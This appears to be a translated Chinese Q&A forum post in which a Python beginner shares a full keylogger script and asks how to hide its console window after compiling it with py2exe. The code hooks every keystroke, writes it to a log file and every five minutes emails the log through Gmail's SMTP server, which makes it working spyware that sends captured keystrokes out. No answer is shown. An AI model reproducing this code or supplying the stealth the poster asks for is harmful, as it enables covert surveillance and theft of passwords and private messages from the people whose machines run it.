需要帮助我的键盘记录程序python

2024-09-27 23:16:32 发布

您现在位置:Python中文网/ 问答频道 /正文

我是Python新手。我在写一个钥匙记录程序。在

我写的是:

{<1分$ #!/usr/bin/python import pythoncom , pyHook , time, smtplib LOG = open("C:\LOG.txt", "a") LOG.write("") LOG.close() _time = time.strftime(" %A, %d, %B, %Y, %H : %M ") _time1 = _time num_lines =sum(1 for line in open('C:\LOG.txt')) if num_lines > 45 : LOG = open("C:\LOG.txt", "w") LOG.truncate() LOG.close() LOG = open("C:\LOG.txt", "a") LOG.write("\n>>>============================ Start KeyLogger [%s] ============================<<<\n"%(_time)) LOG.close() timer = time.time() mtxt = "" def OnkeyboardEvent(event) : global _time1 global timer c = time.strftime(" %A, %d, %B, %Y, %H : %M ") timer2 = time.time() if timer2 >= timer+300.0 : LOG = open("C:\LOG.txt","r") TXT = LOG.readlines() i = 0 while i < len(TXT) : global mtxt global txt txt = TXT[i] i += 1 mtxt += txt server = smtplib.SMTP("smtp.gmail.com:25") server.starttls() server.login("myemail@gmail.com", "password") server.sendmail("myemail@gmail.com", "myemail@gmail.com", mtxt) server.quit() LOG.close() timer = timer2 if _time1 == c : LOG = open("C:\LOG.txt", "a") LOG.write(chr(event.Ascii)) LOG.close() elif _time1 != c : LOG = open("C:\LOG.txt", "a") LOG.write("\n[%s]\n"% (c)) LOG.close() _time1 = c hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()

我知道这很混乱。。。 但我仍在努力,我尽量不去看其他的关键记录者。。。在

它工作正常,每五分钟就给我发一封带钥匙的电子邮件。。。 但是我试图用py2exe编译它,当我启动keylogger.exe时,它会打开一个提示窗口。。。它工作正常,但有窗户。我想隐藏这个窗口或者把程序变成一个进程,但是我不知道怎么。。。在


Tags: txtcomlogcloseifservertimeopen

热门问题